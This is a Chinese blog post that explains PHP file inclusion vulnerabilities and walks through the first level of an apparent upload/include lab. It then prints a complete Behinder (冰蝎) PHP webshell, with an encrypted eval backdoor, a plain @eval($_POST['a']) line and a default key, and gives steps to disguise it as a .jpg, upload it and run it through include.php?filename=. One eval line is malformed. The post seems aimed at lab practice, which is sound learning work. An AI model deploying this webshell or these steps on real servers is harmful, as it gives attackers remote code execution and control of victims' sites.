当前位置: 首页 > article >正文

文件包含漏洞第一关

一、什么是文件包含漏洞

1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 
 
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
 
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
 
在通过PHP的相应函数(比如imnclude0)引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
 
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
 
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

第一关:

这关很简单 要么在浏览器设置里面禁用js前端 

要么把写好的pgp代码修改为.jpg .png这些图片后缀即可

冰蝎为例:

创建一个shell.php

php代码如下

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
	@eval($_POST['a']);
    @eval($_POST('Alan'));
?>

然后把他改为你好.jpg

找到上传点

上传即可

然后复制URL链接

127.0.0.1/inculde.php?filename=你好.jpg

弹出此窗口成功


http://www.kler.cn/a/581815.html

相关文章:

  • DeepSeek Kimi详细生成PPT的步骤
  • MySQL高频八股—— MySQL的存储引擎及索引结构
  • MySQL查询慢的原因
  • MongoDB 触发器实现教程
  • 基于SpringBoot的复兴村医疗管理系统【Si获取源码】
  • PyTorch模型优化设计一个高效的神经网络架构实例
  • centos linux安装mysql8 重置密码 远程连接
  • Android12 应用更新开机动画
  • element tree树形结构默认展开全部
  • HTTP与HTTPS的深度解析:技术差异、安全机制及应用场景
  • 火语言RPA--PDF页数统计
  • 四种常见的 API 架构风格(带示例)
  • 前后端+数据库的项目实战--学生信息管理系统-易
  • Unity辅助工具_头部与svn
  • 【CXX】6.6 UniquePtr<T> — std::unique_ptr<T>
  • 深入理解 Rust 中的模式匹配语法
  • SpringBoot(1)——创建SpringBoot项目的方式
  • rom定制系列------小米note3 原生安卓15 批量线刷 默认开启usb功能选项 插电自启等
  • Java中数据库索引选择B+树而非红黑树的详细解析
  • DeepSeek引领端侧AI革命,边缘智能重构AI价值金字塔